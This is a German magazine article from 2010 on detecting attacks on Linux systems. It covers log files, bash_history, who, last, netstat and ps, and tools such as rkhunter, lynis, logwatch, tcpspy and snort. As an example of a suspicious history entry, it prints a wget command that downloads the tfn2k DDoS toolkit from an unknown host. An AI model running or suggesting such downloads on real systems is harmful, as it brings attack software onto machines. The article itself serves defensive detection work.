Systeme und Netzwerk überwachen

Linux-Sicherheit - Angriffe entdecken

21.01.2010 von Marco Rogge
Angriffe auf Linux-Systeme hinterlassen fast immer verräterische Spuren. Doch die manuelle Analyse von Logfiles ist sehr aufwändig und wird daher meist vernachlässigt. Doch es gibt nützliche Tools, die den Administrator bei der Spurensuche unterstützen.

Grundsätzlich hinterlassen alle Daemon, Module, User und Anwendungen Spuren ihrer Aktivitäten im Linux System. Sie speichert Protokolle ihrer Aktivität in Logfiles, die bei den meisten Distributionen unter /var/log/ zu finden sind. Die Logfiles sind nur mit privilegierten Rechten (root) veränderbar, auch das Löschen ist nicht anders möglich. Daher stehen die Chancen gut, in den Logfiles Details zu Angriffen zu finden.

Bordmittel für sicheres Surfen, Verwalten von Passwörtern und geschütztes Datei-Handling sind in Linux bereits rudimentär vorhanden. In der folgenden Bildergalerie stellen wir einige relevante Sicherheits-Tools vor:

Linux-Sicherheit - Angriffe entdecken
rkhunter
rkhunter: Das Sicherheits-Tool spürt Malware unter Linux auf. <p><a href="http://www.tecchannel.de/sicherheit/tools/2020118/rkhunter_rootkits_unter_linux_unix_aufspueren//" target="_blank">Download rkhunter</a>
Zenmap-Frontend für Nmap
Netzwerklücken aufspüren: Offene Ports sind der Nährboden für Hacker schlechthin. Mit Nmap 5.20 lassen sich im Netzwerk verfügbare Services und Ports erkennen und abschließen. <p><a href="http://www.tecchannel.de/sicherheit/news/2025278/neue_version_520_von_nmap_ab_sofort_verfuegbar//" target="_blank">Download rkhunter</a>

Auch für Linux Systeme gibt es rootkits, die ein System infiltrieren und unsichtbar fernsteuern. Zum enttarnen von rootkits gibt es spezielle Software, die bei der Analyse hilft. Aber schon das Sichten der Logfiles eines Systems kann Aufschluss darüber geben, ob jemand unbefugt im System gearbeitet hat. Ein deutliches Indiz dafür, dass ein Angreifer ein System übernommen oder kurzfristig kompromittiert hat, sind leere Logfiles oder zeitlich Lücken in den Logs. Angreifer, die professionell vorgehen, verwischen meistens ihre Spuren nach dem erfolgreichen Einbruch in einem System, indem sie die Logdateien löschen.

Welche Logfiles sind also zunächst einmal wichtig, die man sich anschauen sollte? Als erstes sollte man sich den Ordner „mail“ der User eines Systems ansehen, der verräterische Spuren aufweisen kann. Ein Angreifer wird in vielen Fällen den internen Mailer (z.B. sendmail, postfix) benutzen, um Daten vom kompromittierten System zu senden. In der Regel sind Hinweise darauf unter ./var/spool/mail/username/ zu finden. Unter normalen Umständen befinden sich dort Mails, die vom System an den User oder root gesendet werden.

From nagios@powermashine Wed Sep 30 01:19:17 2009
Return-Path: <nagios@powermashine>
X-Original-To: root@localhost
Delivered-To: root@localhost
Received: by powermashine (Postfix, from userid 110)
id 48E821A684D; Wed, 30 Sep 2009 01:19:17 +0200 (CEST)
To: root@localhost
Subject: ** RECOVERY Host Alert: localhost is UP **
Message-Id: 20090929231917.48E821A684D@powermashine
Date: Wed, 30 Sep 2009 01:19:17 +0200 (CEST)
From: nagios@powermashine

***** Nagios *****
Notification Type: RECOVERY
Host: testhost
State: UP
Address: xxx.xxx.xxx.xxx
Info: PING OK - Packet loss = 0%, RTA = 0.06 ms
Date/Time: Wed Sept 30 01:19:17 CEST 2009

Logfiles überwachen

Grundsätzlich sind folgende Logfiles, die sich bei Debian-basierenden Systemen unter ./var/log/ befinden, wichtig bei der Suche nach Angriffen:

Besonders in auth.log werden Angriffsversuche häufig dokumentiert, da dort beispielsweise SSH oder Telnet ihre Aktionen protokollieren.

Zum Betrachten der Logfiles kann man das Terminal zur Hilfe nehmen und die Dateien mit vi oder less durchsehen. Bequemer geht es als root mit einem Dateimanager wie etwa Nautilus. Darin kann man jedes Logfile im grafischen Editor wie etwa gedit betrachten.

less /var/log/messages/
Nov 22 14:10:07 powermashine kernel: Kernel logging (proc) stopped.
Nov 22 14:48:41 powermashine kernel: imklog 4.2.0, log source = /var/run/rsyslog/kmsg started.
Nov 22 14:48:41 powermashine rsyslogd: [origin software="rsyslogd" swVersion="4.2.0" x-pid="1250" x-info="http://www.rsyslog.com"] (re)start
Nov 22 14:48:41 powermashine rsyslogd: rsyslogd's groupid changed to 102
Nov 22 14:48:42 powermashine rsyslogd: rsyslogd's userid changed to 101
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Initializing cgroup subsys cpuset
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Initializing cgroup subsys cpu
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Linux version 2.6.31-15-generic (buildd@yellow) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #50-Ubuntu SMP Tue Nov 10 14:53:52 UTC 2009 (Ubuntu 2.6.31-15.50-generic)
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Command line: root=/dev/mapper/powermashine-root ro quiet splash
Nov 22 14:48:42 powermashine kernel: [ 0.000000] KERNEL supported cpus:
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Intel GenuineIntel
Nov 22 14:48:42 powermashine kernel: [ 0.000000] AMD AuthenticAMD
Nov 22 14:48:42 powermashine kernel: [ 0.000000] Centaur CentaurHauls
Nov 22 14:48:42 powermashine kernel: [ 0.000000] BIOS-provided physical RAM map:

Es besteht auch die Möglichkeit, sich laufend veränderliche Logfiles zur ständigen Überwachung mit „tail“ auf dem Terminal anzeigen zu lassen. Weiterhin nützlich ist ess, wenn man „grep“ und „head“ zur Auswertung hinzu zieht.

Mögliche Anwendungen:

Logfiles anpassen

Eine Auswertung der ersten 10 Einträge von Kernel-Meldungen kann dann wie folgt aussehen; wobei hier nur Fehlermeldungen zu erkennen sind und keine Spuren eines Einbruchs:

~# head -n10 /var/log/kern.log

Dec 6 10:03:15 powermashine kernel: [ 2497.368513] npviewer.bin[4319]: segfault at 70747468 ip 00000000f618f279 sp 00000000ff979f60 error 4 in libflashplayer.so[f5f64000+990000]
Dec 6 10:21:03 powermashine kernel: [ 3565.435003] npviewer.bin[5171]: segfault at ff99cd48 ip 00000000ff99cd48 sp 00000000ffcc09ac error 14
Dec 6 10:28:14 powermashine kernel: [ 3996.974532] npviewer.bin[5532]: segfault at 3c ip 00000000f61f20da sp 00000000ffb5d2e0 error 4 in libflashplayer.so[f5fa9000+990000]
Dec 6 10:35:28 powermashine kernel: [ 4429.988149] npviewer.bin[5706]: segfault at 3c ip 00000000f615c0da sp 00000000ffdae940 error 4 in libflashplayer.so[f5f13000+990000]
Dec 6 10:41:51 powermashine kernel: [ 4813.309128] npviewer.bin[5913]: segfault at 3c ip 00000000f61210da sp 00000000ff883750 error 4 in libflashplayer.so[f5ed8000+990000]
Dec 6 10:48:24 powermashine kernel: [ 5206.967219] npviewer.bin[6103]: segfault at ff99cd48 ip 00000000ff99cd48 sp 00000000ffe64d2c error 14
Dec 6 11:00:02 powermashine kernel: [ 5904.368094] npviewer.bin[6230]: segfault at ff99cd48 ip 00000000ff99cd48 sp 00000000ffcdec6c error 14
Dec 6 11:08:32 powermashine kernel: [ 6414.450034] CE: hpet increasing min_delta_ns to 15000 nsec
Dec 6 11:33:45 powermashine kernel: [ 7927.649155] npviewer.bin[6482]: segfault at ff99cd48 ip 00000000ff99cd48 sp 00000000ff98682c error 14
Dec 6 11:34:06 powermashine kernel: [ 7948.680729] npviewer.bin[7133]: segfault at ff99cd48 ip 00000000ff99cd48 sp 00000000ff85a2ac error 14

Für das Schreiben der Logfiles ist syslogd als Daemon zuständig, der seine Konfiguration aus der syslog.conf-Datei holt. Diese kann man nach seinen individuellen Bedürfnissen anpassen. Wie unter Linux üblich, werden nicht benötigte Zeilen mit dem # - Zeichen auskommentiert.

# /etc/syslog.conf Configuration file for syslogd.
#
# For more information see syslog.conf(5)
# manpage.
#
# First some standard logfiles. Log by facility.
#
auth,authpriv.* /var/log/auth.log
*.*;auth,authpriv.none -/var/log/syslog
#cron.* /var/log/cron.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
#lpr.* -/var/log/lpr.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log

Nützliche Tools

Eine weitere, sehr übersichtliche Möglichkeit sein System auf laufende Prozesse zu untersuchen ist die Software „htop“. Sie kann in der Regel über die gängigen Distributionen nachinstalliert werden und versteht sich als eine weitere Variante von „top“, welches in der Regel bereits installiert ist. Htop allerdings bietet deutlich mehr Möglichkeiten, sich die laufenden Prozesse im Detail anschauen zu können. Es kann nie schaden, htop auf einem Terminal laufen zu lassen um Unstimmigkeiten im System sofort zu bemerken.

Bunt: htop stellt farblich markiert die Threads und Prozesse ausführlich dar.

Wichtig ist, nicht nur die Logfiles zu betrachten, um Auffälligkeiten festzustellen. Angreifer haben meistens das Ziel, höhere Rechte zu bekommen und versuchen daher root-User zu werden. Sofern der Angreifer dabei seine Userhistory nicht löscht, sind diese Aktivitäten dort nachvollziehbar. Diese User Aktivitäten finden sich in der Datei ./bash_history des jeweiligen Users wieder. Dort sind die Befehle verzeichnet, die ein User im Terminal ausgeführt hat. Ein Angreifer wird in jedem Fall über Terminal Befehle ein System kompromittieren. Folgendes Beispiel zeigt die History für den User root:

root@powermashine:~# less .bash_history

Sofern in der History Einträge enthalten sind, die Sie selbst nicht durchgeführt haben, sollte man sensibilisiert sein. In der Regel handelt es sich um mehr als ein oder zwei Einträge. Ein User wird kaum mit root-Rechten an einem System einen wget Befehl ausführen, um eine Datei nachzuladen und diese dann auch noch ausführen. Ein kritischer Eintrag könnte demnach so aussehen:

wget http://unbekannt.soft.xxxx.co.uk/~/xxx/tfn2k.tgz

Ein Eintrag dieser Art deutet darauf hin, dass hier über das Terminal eine Datei nachgeladen wurde. Die Befehle zum Entpacken und Installieren dürften sich im Anschluss finden. Suchmaschinen liefern zu den Dateinamen oft dazu entsprechende Ergebnisse aus, die in diesem Fall auf eine Software für DDoS-Angriffe hinweisen.

tfn2k: Einblick in das DDoS Programm tfn2k; Tribe Flood Network 2000.

User und Netzwerkzugriffe überwachen

Unter Linux ist es wichtig zu wissen, welche User am System angemeldet sind und darin arbeiten. Der einfache Befehl who gibt darüber Aufschluss:

marko@powermashine:~$ who
marko tty7 2009-12-02 08:25 (:0)
marko pts/0 2009-12-02 12:33 (:0.0)

Hier sollten nur die User zu sehen sein, die autorisiert gerade an einem System arbeiten. Sofern hier mehr zu sehen ist, deutet dies mit großer Wahrscheinlichkeit auf einen Angriff hin. Mit dem Befehl last kann man noch zusätzliche Details und die vergangenen Tage angezeigt bekommen, um sicher gehen zu können:

marko@powermashine:~$ last
marko tty7 :0 Thu Dec 3 16:09 - 00:11 (08:02)
reboot system boot 2.6.31-15-generi Thu Dec 3 16:08 - 00:11 (08:03)
marko pts/0 :0.0 Thu Dec 3 11:38 - 15:25 (03:46)
marko tty7 :0 Wed Dec 2 17:06 - 15:47 (22:40)
reboot system boot 2.6.31-15-generi Wed Dec 2 17:05 - 15:47 (22:41)
marko tty7 :0 Wed Dec 2 08:26 - down (07:41)
reboot system boot 2.6.31-15-generi Wed Dec 2 08:26 - 16:08 (07:42)
marko pts/0 :0.0 Tue Dec 1 08:33 - 08:33 (00:00)
wtmp begins Tue Dec 1 08:33:23 2009

Wichtig ist auch, die Prozesse und Anwendungen zu überwachen, die auf eine Internet- oder Netzwerkverbindung zugreifen. Hierbei hat sich der Befehl netstat bewährt, den man mit root-Rechten ausführt. Sonst kann er nicht alle Prozesse anzeigen. Ist ein Zugriff über root nicht mehr möglich, ist das System feindlich übernommen worden. Kann man sich noch als root anmelden, so ist netstat wie folgt effektiv auszuführen:

root@powermashine:~# netstat –tanp
Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.x.x:48721 145.253.x.x:80 VERBUNDEN 3472/firefox
tcp 0 0 192.168.x.x54048 64.12.x.x:5190 VERBUNDEN 3741/pidgin
tcp 0 0 192.168.x.x:46135 74.125.x.x:80 VERBUNDEN 3472/firefox
tcp 0 0 192.168.x.x:59562 68.180.x.x:5050 VERBUNDEN 3741/pidgin

Man kann sich auch mit ps anzeigen lassen, welcher User zu welcher Zeit einen Dienst oder Anwendung gestartet hat. Zudem ist mit ps zu erkennen, welche Systemauslastung Dienste oder Anwendungen erzeugen. Ein typischer Befehl im Terminal ist der Aufruf von ps -aux:

www-data 2952 0.0 0.0 69024 1852 ? S 08:24 0:00 /usr/sbin/apache2 -k start
www-data 2955 0.0 0.0 348152 3132 ? Sl 08:24 0:00 /usr/sbin/apache2 -k start
www-data 2983 0.0 0.0 348152 3124 ? Sl 08:24 0:00 /usr/sbin/apache2 -k start

Rootkits entdecken

Sofern bis hier keine Auffälligkeiten entdeckt wurden, sollte man noch zusätzliche Software zum Einsatz bringen, um mehr Sicherheit zu erlangen. Diese kann dazu dienen, ein System auf Rootkits zu untersuchen, Logfiles automatisch auszuwerten und die Files per E-Mail zu versenden oder das ganze System auf Schwachstellen zu untersuchen.

Rkhunter: Übersicht der Befehle, mit denen rkhunter ausgeführt werden kann.

Ein populäres Tool ist rkhunter, ein Rootkit-Jäger. Dieses Tool kann man manuell starten, um das System zu untersuchen. Ein automatischer Lauf beim Systemstart ist ebenfalls möglich, wobei man sich die Auswertung dann via E-Mail zustellen lassen kann.

Rkhunter bei der Arbeit. Es wird geprüft, ob bekannte Rootkits installiert sind.

rkhunter überprüft aber auch gleich, ob Verbindungen durch Rootkits aufgemacht wurden oderdiese auf eine Verbindung warten.

Checking for UDP port 2001 [ Not found ]
Checking for TCP port 2006 [ Not found ]
Checking for TCP port 2128 [ Not found ]
Checking for TCP port 14856 [ Not found ]
Checking for TCP port 47107 [ Not found ]
Checking for TCP port 60922 [ Not found ]

Am Ende eines manuellen Tests, den man mit rkhunter -c aufruft, bekommt man eine Zusammenfassung. rkhunter schreibt zusätzlich in /var/log/ ein Logfile über seine Aktivitäten. Will man seine Logfiles sammeln und per E-Mail zugestellt bekommen, sollte man in der zuständigen Konfiguration einen Eintrag für rkhunter vornehmen. Ebenfalls unter Linux weit verbreitet die Software chkrootkit, die ähnliche Funktionen wie rkhunter bietet.

Logfilemanagement

Ein Dienst, der das Einsammeln von Logfiles und Zustellen per E-Mail zuverlässig erledigt, ist logwatch. Zur Konfiguration müssen nur die Logfiles editiert werden, die man zusammengefasst bekommen möchte. Interessant ist hierbei die Detailtiefe, zwischen der logwatch unterscheiden kann. Damit kann man sich mehr oder weniger Details zusenden lassen.

Eine weitere, sehr nützliche Software zur Systemanalyse auf Angriffe ist lynis. Diese Software analysiert den Kernel auf Manipulationen, schaut nach verdächtigen Services. prüft die Passwortsicherheit, User, Gruppen und vieles mehr. Es prüft auch gleich zu Beginn, ob die Version die aktuelle ist und warnt im Zweifel.

Lynis im Einsatz: Als erstes wird das System indiziert.

Am Ende wird ein entsprechender Report ausgegeben, der eine Zusammenfassung darstellt. Aufgezeigt werden Warnungen und Hinweise, die berücksichtigt werden sollten. So schreibt auch lynis eine Logdatei in /var/log/ rein, in die man immer wieder schauen sollte.

Um Verbindungen überwachen zu können und diese auch in Logfiles auszuwerten, empfiehlt es sich die Software tcpspy. Alle Einträge die durch tcpspy generiert werden, finden sich anschließend im syslog:

Dec 2 16:10:16 powermashine tcpspy[6995]: connect: user marko, local 192.168.x.x:60552, remote 74.125.xx.xx:pop3s
Dec 2 16:10:17 powermashine tcpspy[6995]: disconnect: user marko, local 192.168.x.x:60552, remote 74.125.xx.xx:pop3s
Dec 2 16:10:31 powermashine tcpspy[6995]: disconnect: user marko, local 192.168.x.x:35004, remote 92.123.xx.xx:www

tcpspy schreibt in das Logfile, welcher User eine Verbindung zu einem Dienst aufbaut hat und zu welcher Uhrzeit dies geschehen ist. Im Beispiel ist zu erkennen, dass eine Verbindung zu einem pop3s-Server aufgenommen wurde. Das dürfte eine normale Verbindung sein, die nicht weiter verdächtig ist.

Fazit

Für eine erste Analyse reichen die genannten Tools sicher aus. Zusätzlich zu den getroffenen Maßnahmen kann man ein IDS (Intrusion Detection System) installieren und das System permanent auf Anomalien untersuchen lassen. Dabei kann eingestellt werden, bei was für einer Anomalie ein IDS einen Alarm ausgeben soll. Zum empfehlen für Linux Maschinen ist das bekannt IDS snort.

Snort ist ein Intrusion Detection System, dass anhand von Regeln Anomalien im Datenaustausch mit Servern und Clients sowie dem Internet erkennt und Warnungen ausgibt. Snort ist damit ein hilfreiches Werkzeug für Administratoren, um Angriffe frühzeitig zu erkennen. Im Verzeichnis ./var/log/snort/Alert/ werden die Alarmmeldungen ausgegeben, diese wiederum von logwatch abgeholt werden können. Snort arbeitet nach dem Verfahren der Datenanalyse, Datenauswertung und der anschließenden Datendarstellung. Es ist immer empfehlenswert, eine aktuelle Version von snort installiert zu haben. Aber auch die Regeln in der Datenbank sollten auf dem neuesten Stand sein. Wie Sie mit snort arbeiten und es konfigurieren können, erfahren Sie in diesem Workshop auf TecChannel. (ala)